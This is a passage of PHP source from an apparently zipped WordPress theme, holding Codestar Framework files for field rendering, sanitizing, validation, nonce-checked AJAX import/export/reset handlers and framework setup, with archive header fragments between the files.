      $custom     = ( ! empty( $this->field['customizer'] ) ) ? true : false;
      $is_complex = ( in_array( $this->field['type'], $complex ) ) ? true : false;
      $class      = ( $is_complex || $custom ) ? ' csf-customize-complex' : '';
      $atts       = ( $is_complex || $custom ) ? ' data-unique-id="'. esc_attr( $this->unique ) .'" data-option-id="'. esc_attr( $field_id ) .'"' : '';

      if ( ! $is_complex && ! $custom ) {
        $this->field['attributes']['data-customize-setting-link'] = $this->settings['default']->id;
      }

      $this->field['name'] = $this->settings['default']->id;

      $this->field['dependency'] = array();

      echo '<div class="csf-customize-field'. esc_attr( $class ) .'"'. $atts .'>';

      CSF::field( $this->field, $this->value(), $this->unique, 'customize' );

      echo '</div>';

    }

  }
}
PK     N\'    ,  inc/options/framework/functions/sanitize.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Sanitize
 * Replace letter a to letter b
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_sanitize_replace_a_to_b' ) ) {
  function csf_sanitize_replace_a_to_b( $value ) {
    return str_replace( 'a', 'b', $value );
  }
}

/**
 *
 * Sanitize title
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_sanitize_title' ) ) {
  function csf_sanitize_title( $value ) {
    return sanitize_title( $value );
  }
}
PK     N\R>    *  inc/options/framework/functions/walker.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Custom Walker for Nav Menu Edit
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Walker_Nav_Menu_Edit' ) && class_exists( 'Walker_Nav_Menu_Edit' ) ) {
  class CSF_Walker_Nav_Menu_Edit extends Walker_Nav_Menu_Edit {

    public function start_el( &$output, $item, $depth = 0, $args = array(), $id = 0 ) {

      $html = '';

      parent::start_el( $html, $item, $depth, $args, $id );

      ob_start();
      do_action( 'wp_nav_menu_item_custom_fields', $item->ID, $item, $depth, $args );
      $custom_fields = ob_get_clean();

      $output .= preg_replace( '/(?=<(fieldset|p)[^>]+class="[^"]*field-move)/', $custom_fields, $html );

    }

  }
}
PK     N\5
  
  ,  inc/options/framework/functions/validate.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Email validate
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_validate_email' ) ) {
  function csf_validate_email( $value ) {

    if ( ! filter_var( $value, FILTER_VALIDATE_EMAIL ) ) {
      return esc_html__( 'Please enter a valid email address.', 'csf' );
    }

  }
}

/**
 *
 * Numeric validate
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_validate_numeric' ) ) {
  function csf_validate_numeric( $value ) {

    if ( ! is_numeric( $value ) ) {
      return esc_html__( 'Please enter a valid number.', 'csf' );
    }

  }
}

/**
 *
 * Required validate
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_validate_required' ) ) {
  function csf_validate_required( $value ) {

    if ( empty( $value ) ) {
      return esc_html__( 'This field is required.', 'csf' );
    }

  }
}

/**
 *
 * URL validate
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_validate_url' ) ) {
  function csf_validate_url( $value ) {

    if ( ! filter_var( $value, FILTER_VALIDATE_URL ) ) {
      return esc_html__( 'Please enter a valid URL.', 'csf' );
    }

  }
}

/**
 *
 * Email validate for Customizer
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_customize_validate_email' ) ) {
  function csf_customize_validate_email( $validity, $value, $wp_customize ) {

    if ( ! sanitize_email( $value ) ) {
      $validity->add( 'required', esc_html__( 'Please enter a valid email address.', 'csf' ) );
    }

    return $validity;

  }
}

/**
 *
 * Numeric validate for Customizer
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_customize_validate_numeric' ) ) {
  function csf_customize_validate_numeric( $validity, $value, $wp_customize ) {

    if ( ! is_numeric( $value ) ) {
      $validity->add( 'required', esc_html__( 'Please enter a valid number.', 'csf' ) );
    }

    return $validity;

  }
}

/**
 *
 * Required validate for Customizer
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_customize_validate_required' ) ) {
  function csf_customize_validate_required( $validity, $value, $wp_customize ) {

    if ( empty( $value ) ) {
      $validity->add( 'required', esc_html__( 'This field is required.', 'csf' ) );
    }

    return $validity;

  }
}

/**
 *
 * URL validate for Customizer
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_customize_validate_url' ) ) {
  function csf_customize_validate_url( $validity, $value, $wp_customize ) {

    if ( ! filter_var( $value, FILTER_VALIDATE_URL ) ) {
      $validity->add( 'required', esc_html__( 'Please enter a valid URL.', 'csf' ) );
    }

    return $validity;

  }
}
PK     N\"	C  C  +  inc/options/framework/functions/helpers.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Array search key & value
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_array_search' ) ) {
  function csf_array_search( $array, $key, $value ) {

    $results = array();

    if ( is_array( $array ) ) {
      if ( isset( $array[$key] ) && $array[$key] == $value ) {
        $results[] = $array;
      }

      foreach ( $array as $sub_array ) {
        $results = array_merge( $results, csf_array_search( $sub_array, $key, $value ) );
      }

    }

    return $results;

  }
}

/**
 *
 * Between Microtime
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_timeout' ) ) {
  function csf_timeout( $timenow, $starttime, $timeout = 30 ) {
    return ( ( $timenow - $starttime ) < $timeout ) ? true : false;
  }
}

/**
 *
 * Check for wp editor api
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_wp_editor_api' ) ) {
  function csf_wp_editor_api() {
    global $wp_version;
    return version_compare( $wp_version, '4.8', '>=' );
  }
}
PK     N\?~|    +  inc/options/framework/functions/actions.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Get icons from admin ajax
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_get_icons' ) ) {
  function csf_get_icons() {

    $nonce = ( ! empty( $_POST[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ) : '';

    if ( ! wp_verify_nonce( $nonce, 'csf_icon_nonce' ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid nonce verification.', 'csf' ) ) );
    }

    ob_start();

    $icon_library = ( apply_filters( 'csf_fa4', false ) ) ? 'fa4' : 'fa5';

    CSF::include_plugin_file( 'fields/icon/'. $icon_library .'-icons.php' );

    $icon_lists = apply_filters( 'csf_field_icon_add_icons', csf_get_default_icons() );

    if ( ! empty( $icon_lists ) ) {

      foreach ( $icon_lists as $list ) {

        echo ( count( $icon_lists ) >= 2 ) ? '<div class="csf-icon-title">'. esc_attr( $list['title'] ) .'</div>' : '';

        foreach ( $list['icons'] as $icon ) {
          echo '<i title="'. esc_attr( $icon ) .'" class="'. esc_attr( $icon ) .'"></i>';
        }

      }

    } else {

      echo '<div class="csf-error-text">'. esc_html__( 'No data available.', 'csf' ) .'</div>';

    }

    $content = ob_get_clean();

    wp_send_json_success( array( 'content' => $content ) );

  }
  add_action( 'wp_ajax_csf-get-icons', 'csf_get_icons' );
}

/**
 *
 * Export
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_export' ) ) {
  function csf_export() {

    $nonce  = ( ! empty( $_GET[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_GET[ 'nonce' ] ) ) : '';
    $unique = ( ! empty( $_GET[ 'unique' ] ) ) ? sanitize_text_field( wp_unslash( $_GET[ 'unique' ] ) ) : '';

    if ( ! wp_verify_nonce( $nonce, 'csf_backup_nonce' ) ) {
      die( esc_html__( 'Error: Invalid nonce verification.', 'csf' ) );
    }

    if ( empty( $unique ) ) {
      die( esc_html__( 'Error: Invalid key.', 'csf' ) );
    }

    // Export
    header('Content-Type: application/json');
    header('Content-disposition: attachment; filename=backup-'. gmdate( 'd-m-Y' ) .'.json');
    header('Content-Transfer-Encoding: binary');
    header('Pragma: no-cache');
    header('Expires: 0');

    echo json_encode( get_option( $unique ) );

    die();

  }
  add_action( 'wp_ajax_csf-export', 'csf_export' );
}

/**
 *
 * Import Ajax
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_import_ajax' ) ) {
  function csf_import_ajax() {

    $nonce  = ( ! empty( $_POST[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ) : '';
    $unique = ( ! empty( $_POST[ 'unique' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'unique' ] ) ) : '';
    $data   = ( ! empty( $_POST[ 'data' ] ) ) ? wp_kses_post_deep( json_decode( wp_unslash( trim( $_POST[ 'data' ] ) ), true ) ) : array();

    if ( ! wp_verify_nonce( $nonce, 'csf_backup_nonce' ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid nonce verification.', 'csf' ) ) );
    }

    if ( empty( $unique ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid key.', 'csf' ) ) );
    }

    if ( empty( $data ) || ! is_array( $data ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: The response is not a valid JSON response.', 'csf' ) ) );
    }

    // Success
    update_option( $unique, $data );

    wp_send_json_success();

  }
  add_action( 'wp_ajax_csf-import', 'csf_import_ajax' );
}

/**
 *
 * Reset Ajax
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_reset_ajax' ) ) {
  function csf_reset_ajax() {

    $nonce  = ( ! empty( $_POST[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ) : '';
    $unique = ( ! empty( $_POST[ 'unique' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'unique' ] ) ) : '';

    if ( ! wp_verify_nonce( $nonce, 'csf_backup_nonce' ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid nonce verification.', 'csf' ) ) );
    }

    // Success
    delete_option( $unique );

    wp_send_json_success();

  }
  add_action( 'wp_ajax_csf-reset', 'csf_reset_ajax' );
}

/**
 *
 * Chosen Ajax
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! function_exists( 'csf_chosen_ajax' ) ) {
  function csf_chosen_ajax() {

    $nonce = ( ! empty( $_POST[ 'nonce' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'nonce' ] ) ) : '';
    $type  = ( ! empty( $_POST[ 'type' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'type' ] ) ) : '';
    $term  = ( ! empty( $_POST[ 'term' ] ) ) ? sanitize_text_field( wp_unslash( $_POST[ 'term' ] ) ) : '';
    $query = ( ! empty( $_POST[ 'query_args' ] ) ) ? wp_kses_post_deep( $_POST[ 'query_args' ] ) : array();

    if ( ! wp_verify_nonce( $nonce, 'csf_chosen_ajax_nonce' ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid nonce verification.', 'csf' ) ) );
    }

    if ( empty( $type ) || empty( $term ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: Invalid term ID.', 'csf' ) ) );
    }

    $capability = apply_filters( 'csf_chosen_ajax_capability', 'manage_options' );

    if ( ! current_user_can( $capability ) ) {
      wp_send_json_error( array( 'error' => esc_html__( 'Error: You do not have permission to do that.', 'csf' ) ) );
    }

    // Success
    $options = CSF_Fields::field_data( $type, $term, $query );

    wp_send_json_success( $options );

  }
  add_action( 'wp_ajax_csf-chosen', 'csf_chosen_ajax' );
}
PK     N\t-9+  +  .  inc/options/framework/classes/fields.class.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Fields Class
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Fields' ) ) {
  abstract class CSF_Fields extends CSF_Abstract {

    public $field;
    public $value;
    public $unique;
    public $where;
    public $parent;

    public function __construct( $field = array(), $value = '', $unique = '', $where = '', $parent = '' ) {
      $this->field  = $field;
      $this->value  = $value;
      $this->unique = $unique;
      $this->where  = $where;
      $this->parent = $parent;
    }

    public function field_name( $nested_name = '' ) {

      $field_id   = ( ! empty( $this->field['id'] ) ) ? $this->field['id'] : '';
      $unique_id  = ( ! empty( $this->unique ) ) ? $this->unique .'['. $field_id .']' : $field_id;
      $field_name = ( ! empty( $this->field['name'] ) ) ? $this->field['name'] : $unique_id;
      $tag_prefix = ( ! empty( $this->field['tag_prefix'] ) ) ? $this->field['tag_prefix'] : '';

      if ( ! empty( $tag_prefix ) ) {
        $nested_name = str_replace( '[', '['. $tag_prefix, $nested_name );
      }

      return $field_name . $nested_name;

    }

    public function field_attributes( $custom_atts = array() ) {

      $field_id   = ( ! empty( $this->field['id'] ) ) ? $this->field['id'] : '';
      $attributes = ( ! empty( $this->field['attributes'] ) ) ? $this->field['attributes'] : array();

      if ( ! empty( $field_id ) && empty( $attributes['data-depend-id'] ) ) {
        $attributes['data-depend-id'] = $field_id;
      }

      if ( ! empty( $this->field['placeholder'] ) ) {
        $attributes['placeholder'] = $this->field['placeholder'];
      }

      $attributes = wp_parse_args( $attributes, $custom_atts );

      $atts = '';

      if ( ! empty( $attributes ) ) {
        foreach ( $attributes as $key => $value ) {
          if ( $value === 'only-key' ) {
            $atts .= ' '. esc_attr( $key );
          } else {
            $atts .= ' '. esc_attr( $key ) . '="'. esc_attr( $value ) .'"';
          }
        }
      }

      return $atts;

    }

    public function field_before() {
      return ( ! empty( $this->field['before'] ) ) ? '<div class="csf-before-text">'. $this->field['before'] .'</div>' : '';
    }

    public function field_after() {

      $output  = ( ! empty( $this->field['after'] ) ) ? '<div class="csf-after-text">'. $this->field['after'] .'</div>' : '';
      $output .= ( ! empty( $this->field['desc'] ) ) ? '<div class="clear"></div><div class="csf-desc-text">'. $this->field['desc'] .'</div>' : '';
      $output .= ( ! empty( $this->field['help'] ) ) ? '<div class="csf-help"><span class="csf-help-text">'. $this->field['help'] .'</span><i class="fas fa-question-circle"></i></div>' : '';
      $output .= ( ! empty( $this->field['_error'] ) ) ? '<div class="csf-error-text">'. $this->field['_error'] .'</div>' : '';

      return $output;

    }

    public static function field_data( $type = '', $term = false, $query_args = array() ) {

      $options = array();
      $array_search = false;

      // sanitize type name
      if ( in_array( $type, array( 'page', 'pages' ) ) ) {
        $option = 'page';
      } else if ( in_array( $type, array( 'post', 'posts' ) ) ) {
        $option = 'post';
      } else if ( in_array( $type, array( 'category', 'categories' ) ) ) {
        $option = 'category';
      } else if ( in_array( $type, array( 'tag', 'tags' ) ) ) {
        $option = 'post_tag';
      } else if ( in_array( $type, array( 'menu', 'menus' ) ) ) {
        $option = 'nav_menu';
      } else {
        $option  = '';
      }

      // switch type
      switch( $type ) {

        case 'page':
        case 'pages':
        case 'post':
        case 'posts':

          // term query required for ajax select
          if ( ! empty( $term ) ) {

            $query             = new WP_Query( wp_parse_args( $query_args, array(
              's'              => $term,
              'post_type'      => $option,
              'post_status'    => 'publish',
              'posts_per_page' => 25,
            ) ) );

          } else {

            $query          = new WP_Query( wp_parse_args( $query_args, array(
              'post_type'   => $option,
              'post_status' => 'publish',
            ) ) );

          }

          if ( ! is_wp_error( $query ) && ! empty( $query->posts ) ) {
            foreach ( $query->posts as $item ) {
              $options[$item->ID] = $item->post_title;
            }
          }

        break;

        case 'category':
        case 'categories':
        case 'tag':
        case 'tags':
        case 'menu':
        case 'menus':

          if ( ! empty( $term ) ) {

            $query         = new WP_Term_Query( wp_parse_args( $query_args, array(
              'search'     => $term,
              'taxonomy'   => $option,
              'hide_empty' => false,
              'number'     => 25,
            ) ) );

          } else {

            $query         = new WP_Term_Query( wp_parse_args( $query_args, array(
              'taxonomy'   => $option,
              'hide_empty' => false,
            ) ) );

          }

          if ( ! is_wp_error( $query ) && ! empty( $query->terms ) ) {
            foreach ( $query->terms as $item ) {
              $options[$item->term_id] = $item->name;
            }
          }

        break;

        case 'user':
        case 'users':

          if ( ! empty( $term ) ) {

            $query      = new WP_User_Query( array(
              'search'  => '*'. $term .'*',
              'number'  => 25,
              'orderby' => 'title',
              'order'   => 'ASC',
              'fields'  => array( 'display_name', 'ID' )
            ) );

          } else {

            $query = new WP_User_Query( array( 'fields' => array( 'display_name', 'ID' ) ) );

          }

          if ( ! is_wp_error( $query ) && ! empty( $query->get_results() ) ) {
            foreach ( $query->get_results() as $item ) {
              $options[$item->ID] = $item->display_name;
            }
          }

        break;

        case 'sidebar':
        case 'sidebars':

          global $wp_registered_sidebars;

          if ( ! empty( $wp_registered_sidebars ) ) {
            foreach ( $wp_registered_sidebars as $sidebar ) {
              $options[$sidebar['id']] = $sidebar['name'];
            }
          }

          $array_search = true;

        break;

        case 'role':
        case 'roles':

          global $wp_roles;

          if ( ! empty( $wp_roles ) ) {
            if ( ! empty( $wp_roles->roles ) ) {
              foreach ( $wp_roles->roles as $role_key => $role_value ) {
                $options[$role_key] = $role_value['name'];
              }
            }
          }

          $array_search = true;

        break;

        case 'post_type':
        case 'post_types':

          $post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'objects' );

          if ( ! is_wp_error( $post_types ) && ! empty( $post_types ) ) {
            foreach ( $post_types as $post_type ) {
              $options[$post_type->name] = $post_type->labels->name;
            }
          }

          $array_search = true;

        break;

        case 'location':
        case 'locations':

          $nav_menus = get_registered_nav_menus();

          if ( ! is_wp_error( $nav_menus ) && ! empty( $nav_menus ) ) {
            foreach ( $nav_menus as $nav_menu_key => $nav_menu_name ) {
              $options[$nav_menu_key] = $nav_menu_name;
            }
          }

          $array_search = true;

        break;

        default:

          if ( is_callable( $type ) ) {
            if ( ! empty( $term ) ) {
              $options = call_user_func( $type, $query_args );
            } else {
              $options = call_user_func( $type, $term, $query_args );
            }
          }

        break;

      }

      // Array search by "term"
      if ( ! empty( $term ) && ! empty( $options ) && ! empty( $array_search ) ) {
        $options = preg_grep( '/'. $term .'/i', $options );
      }

      // Make multidimensional array for ajax search
      if ( ! empty( $term ) && ! empty( $options ) ) {
        $arr = array();
        foreach ( $options as $option_key => $option_value ) {
          $arr[] = array( 'value' => $option_key, 'text' => $option_value );
        }
        $options = $arr;
      }

      return $options;

    }

    public function field_wp_query_data_title( $type, $values ) {

      $options = array();

      if ( ! empty( $values ) && is_array( $values ) ) {

        foreach ( $values as $value ) {

          $options[$value] = ucfirst( $value );

          switch( $type ) {

            case 'post':
            case 'posts':
            case 'page':
            case 'pages':

              $title = get_the_title( $value );

              if ( ! is_wp_error( $title ) && ! empty( $title ) ) {
                $options[$value] = $title;
              }

            break;

            case 'category':
            case 'categories':
            case 'tag':
            case 'tags':
            case 'menu':
            case 'menus':

              $term = get_term( $value );

              if ( ! is_wp_error( $term ) && ! empty( $term ) ) {
                $options[$value] = $term->name;
              }

            break;

            case 'user':
            case 'users':

              $user = get_user_by( 'id', $value );

              if ( ! is_wp_error( $user ) && ! empty( $user ) ) {
                $options[$value] = $user->display_name;
              }

            break;

            case 'sidebar':
            case 'sidebars':

              global $wp_registered_sidebars;

              if ( ! empty( $wp_registered_sidebars[$value] ) ) {
                $options[$value] = $wp_registered_sidebars[$value]['name'];
              }

            break;

            case 'role':
            case 'roles':

              global $wp_roles;

              if ( ! empty( $wp_roles ) && ! empty( $wp_roles->roles ) && ! empty( $wp_roles->roles[$value] ) ) {
                $options[$value] = $wp_roles->roles[$value]['name'];
              }

            break;

            case 'post_type':
            case 'post_types':

              $post_types = get_post_types( array( 'show_in_nav_menus' => true ) );

              if ( ! is_wp_error( $post_types ) && ! empty( $post_types ) && ! empty( $post_types[$value] ) ) {
                $options[$value] = ucfirst( $value );
              }

            break;

            case 'location':
            case 'locations':

              $nav_menus = get_registered_nav_menus();

              if ( ! is_wp_error( $nav_menus ) && ! empty( $nav_menus ) && ! empty( $nav_menus[$value] ) ) {
                $options[$value] = $nav_menus[$value];
              }

            break;

            default:

              if ( is_callable( $type .'_title' ) ) {
                $options[$value] = call_user_func( $type .'_title', $value );
              }

            break;

          }

        }

      }

      return $options;

    }

  }
}
PK     N\6gμ@M  @M  -  inc/options/framework/classes/setup.class.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Setup Class
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Setup' ) ) {
  class CSF_Setup {

    // Default constants
    public static $premium  = false;
    public static $version  = '2.3.0';
    public static $dir      = '';
    public static $url      = '';
    public static $css      = '';
    public static $file     = '';
    public static $enqueue  = false;
    public static $webfonts = array();
    public static $subsets  = array();
    public static $inited   = array();
    public static $fields   = array();
    public static $args     = array(
      'admin_options'       => array(),
      'customize_options'   => array(),
      'metabox_options'     => array(),
      'nav_menu_options'    => array(),
      'profile_options'     => array(),
      'taxonomy_options'    => array(),
      'widget_options'      => array(),
      'comment_options'     => array(),
      'shortcode_options'   => array(),
    );

    // Shortcode instances
    public static $shortcode_instances = array();

    private static $instance = null;

    public static function init( $file = __FILE__, $premium = false ) {

      // Set file constant
      self::$file = $file;

      // Set file constant
      self::$premium = $premium;

      // Set constants
      self::constants();

      // Include files
      self::includes();

      if ( is_null( self::$instance ) ) {
        self::$instance = new self();
      }

      return self::$instance;

    }

    // Initalize
    public function __construct() {

      // Init action
      do_action( 'csf_init' );

      // Setup textdomain
      self::textdomain();

      add_action( 'after_setup_theme', array( 'CSF', 'setup' ) );
      add_action( 'init', array( 'CSF', 'setup' ) );
      add_action( 'switch_theme', array( 'CSF', 'setup' ) );
      add_action( 'admin_enqueue_scripts', array( 'CSF', 'add_admin_enqueue_scripts' ) );
      add_action( 'wp_enqueue_scripts', array( 'CSF', 'add_typography_enqueue_styles' ), 80 );
      add_action( 'wp_head', array( 'CSF', 'add_custom_css' ), 80 );
      add_filter( 'admin_body_class', array( 'CSF', 'add_admin_body_class' ) );

    }

    // Setup frameworks
    public static function setup() {

      // Setup admin option framework
      $params = array();
      if ( class_exists( 'CSF_Options' ) && ! empty( self::$args['admin_options'] ) ) {
        foreach ( self::$args['admin_options'] as $key => $value ) {
          if ( ! empty( self::$args['sections'][$key] ) && ! isset( self::$inited[$key] ) ) {

            $params['args']     = $value;
            $params['sections'] = self::$args['sections'][$key];
            self::$inited[$key] = true;

            CSF_Options::instance( $key, $params );

            if ( ! empty( $value['show_in_customizer'] ) ) {
              $value['output_css'] = false;
              $value['enqueue_webfont'] = false;
              self::$args['customize_options'][$key] = $value;
              self::$inited[$key] = null;
            }

          }
        }
      }

      do_action( 'csf_loaded' );

    }

    // Create options
    public static function createOptions( $id, $args = array() ) {
      self::$args['admin_options'][$id] = $args;
    }

    // Create section
    public static function createSection( $id, $sections ) {
      self::$args['sections'][$id][] = $sections;
      self::set_used_fields( $sections );
    }

    // Set directory constants
    public static function constants() {

      // We need this path-finder code for set URL of framework
      $dirname        = str_replace( '//', '/', wp_normalize_path( dirname( dirname( self::$file ) ) ) );
      $theme_dir      = str_replace( '//', '/', wp_normalize_path( get_parent_theme_file_path() ) );
      $plugin_dir     = str_replace( '//', '/', wp_normalize_path( WP_PLUGIN_DIR ) );
      $plugin_dir     = str_replace( '/opt/bitnami', '/bitnami', $plugin_dir );
      $located_plugin = ( preg_match( '#'. self::sanitize_dirname( $plugin_dir ) .'#', self::sanitize_dirname( $dirname ) ) ) ? true : false;
      $directory      = ( $located_plugin ) ? $plugin_dir : $theme_dir;
      $directory_uri  = ( $located_plugin ) ? WP_PLUGIN_URL : get_parent_theme_file_uri();
      $foldername     = str_replace( $directory, '', $dirname );
      $protocol_uri   = ( is_ssl() ) ? 'https' : 'http';
      $directory_uri  = set_url_scheme( $directory_uri, $protocol_uri );

      self::$dir = $dirname;
      self::$url = $directory_uri . $foldername;

    }

    // Include file helper
    public static function include_plugin_file( $file, $load = true ) {

      $path     = '';
      $file     = ltrim( $file, '/' );
      $override = apply_filters( 'csf_override', 'csf-override' );

      if ( file_exists( get_parent_theme_file_path( $override .'/'. $file ) ) ) {
        $path = get_parent_theme_file_path( $override .'/'. $file );
      } elseif ( file_exists( get_theme_file_path( $override .'/'. $file ) ) ) {
        $path = get_theme_file_path( $override .'/'. $file );
      } elseif ( file_exists( self::$dir .'/'. $override .'/'. $file ) ) {
        $path = self::$dir .'/'. $override .'/'. $file;
      } elseif ( file_exists( self::$dir .'/'. $file ) ) {
        $path = self::$dir .'/'. $file;
      }

      if ( ! empty( $path ) && ! empty( $file ) && $load ) {

        global $wp_query;

        if ( is_object( $wp_query ) && function_exists( 'load_template' ) ) {

          load_template( $path, true );

        } else {

          require_once( $path );

        }

      } else {

        return self::$dir .'/'. $file;

      }

    }

    // Is active plugin helper
    public static function is_active_plugin( $file = '' ) {
      return in_array( $file, (array) get_option( 'active_plugins', array() ) );
    }

    // Sanitize dirname
    public static function sanitize_dirname( $dirname ) {
      return preg_replace( '/[^A-Za-z]/', '', $dirname );
    }

    // Set url constant
    public static function include_plugin_url( $file ) {
      return esc_url( get_template_directory_uri() ) .'/inc/options/framework/'. ltrim( $file, '/' );
    }

    // Include files
    public static function includes() {

      // Include common functions
      self::include_plugin_file( 'functions/actions.php'  );
      self::include_plugin_file( 'functions/helpers.php'  );
      self::include_plugin_file( 'functions/sanitize.php' );
      self::include_plugin_file( 'functions/validate.php' );

      // Include free version classes
      self::include_plugin_file( 'classes/abstract.class.php'      );
      self::include_plugin_file( 'classes/fields.class.php'        );
      self::include_plugin_file( 'classes/admin-options.class.php' );

      // Include all framework fields
      $fields = apply_filters( 'csf_fields', array(
        'accordion',
        'background',
        'backup',
        'border',
        'button_set',
        'callback',
        'checkbox',
        'code_editor',
        'color',
        'color_group',
        'content',
        'date',
        'datetime',
        'dimensions',
        'fieldset',
        'gallery',
        'group',
        'heading',
        'icon',
        'image_select',
        'link',
        'link_color',
        'map',
        'media',
        'notice',
        'number',
        'palette',
        'radio',
        'repeater',
        'select',
        'slider',
        'sortable',
        'sorter',
        'spacing',
        'spinner',
        'subheading',
        'submessage',
        'switcher',
        'tabbed',
        'text',
        'textarea',
        'typography',
        'upload',
        'wp_editor',
      ) );

      if ( ! empty( $fields ) ) {
        foreach ( $fields as $field ) {
          if ( ! class_exists( 'CSF_Field_'. $field ) && class_exists( 'CSF_Fields' ) ) {
            self::include_plugin_file( 'fields/'. $field .'/'. $field .'.php' );
          }
        }
      }

    }

    // Setup textdomain
    public static function textdomain() {
      load_textdomain( 'csf', self::$dir .'/languages/'. get_locale() .'.mo' );
    }

    // Set all of used fields
    public static function set_used_fields( $sections ) {

      if ( ! empty( $sections['fields'] ) ) {

        foreach ( $sections['fields'] as $field ) {

          if ( ! empty( $field['fields'] ) ) {
            self::set_used_fields( $field );
          }

          if ( ! empty( $field['tabs'] ) ) {
            self::set_used_fields( array( 'fields' => $field['tabs'] ) );
          }

          if ( ! empty( $field['accordions'] ) ) {
            self::set_used_fields( array( 'fields' => $field['accordions'] ) );
          }

          if ( ! empty( $field['elements'] ) ) {
            self::set_used_fields( array( 'fields' => $field['elements'] ) );
          }

          if ( ! empty( $field['type'] ) ) {
            self::$fields[$field['type']] = $field;
          }

        }

      }

    }

    // Enqueue admin and fields styles and scripts
    public static function add_admin_enqueue_scripts() {

      if ( ! self::$enqueue ) {

        // Loads scripts and styles only when needed
        $wpscreen = get_current_screen();

        if ( ! empty( self::$args['admin_options'] ) ) {
          foreach ( self::$args['admin_options'] as $argument ) {
            if ( substr( $wpscreen->id, -strlen( $argument['menu_slug'] ) ) === $argument['menu_slug'] ) {
              self::$enqueue = true;
            }
          }
        }

        if ( ! empty( self::$args['metabox_options'] ) ) {
          foreach ( self::$args['metabox_options'] as $argument ) {
            if ( in_array( $wpscreen->post_type, (array) $argument['post_type'] ) ) {
              self::$enqueue = true;
            }
          }
        }

        if ( ! empty( self::$args['taxonomy_options'] ) ) {
          foreach ( self::$args['taxonomy_options'] as $argument ) {
            if ( in_array( $wpscreen->taxonomy, (array) $argument['taxonomy'] ) ) {
              self::$enqueue = true;
            }
          }
        }

        if ( ! empty( self::$shortcode_instances ) ) {
          foreach ( self::$shortcode_instances as $argument ) {
            if ( ( $argument['show_in_editor'] && $wpscreen->base === 'post' ) || $argument['show_in_custom'] ) {
              self::$enqueue = true;
            }
          }
        }

        if ( ! empty( self::$args['widget_options'] ) && ( $wpscreen->id === 'widgets' || $wpscreen->id === 'customize' ) ) {
          self::$enqueue = true;
        }

        if ( ! empty( self::$args['customize_options'] ) && $wpscreen->id === 'customize' ) {
          self::$enqueue = true;
        }

        if ( ! empty( self::$args['nav_menu_options'] ) && $wpscreen->id === 'nav-menus' ) {
          self::$enqueue = true;
        }

        if ( ! empty( self::$args['profile_options'] ) && ( $wpscreen->id === 'profile' || $wpscreen->id === 'user-edit' ) ) {
          self::$enqueue = true;
        }

        if ( ! empty( self::$args['comment_options'] ) && $wpscreen->id === 'comment' ) {
          self::$enqueue = true;
        }

        if ( $wpscreen->id === 'tools_page_csf-welcome' ) {
          self::$enqueue = true;
        }

      }

      if ( ! apply_filters( 'csf_enqueue_assets', self::$enqueue ) ) {
        return;
      }

      // Admin utilities
      wp_enqueue_media();

      // Wp color picker
      wp_enqueue_style( 'wp-color-picker' );
      wp_enqueue_script( 'wp-color-picker' );

      // Font awesome 4 and 5 loader
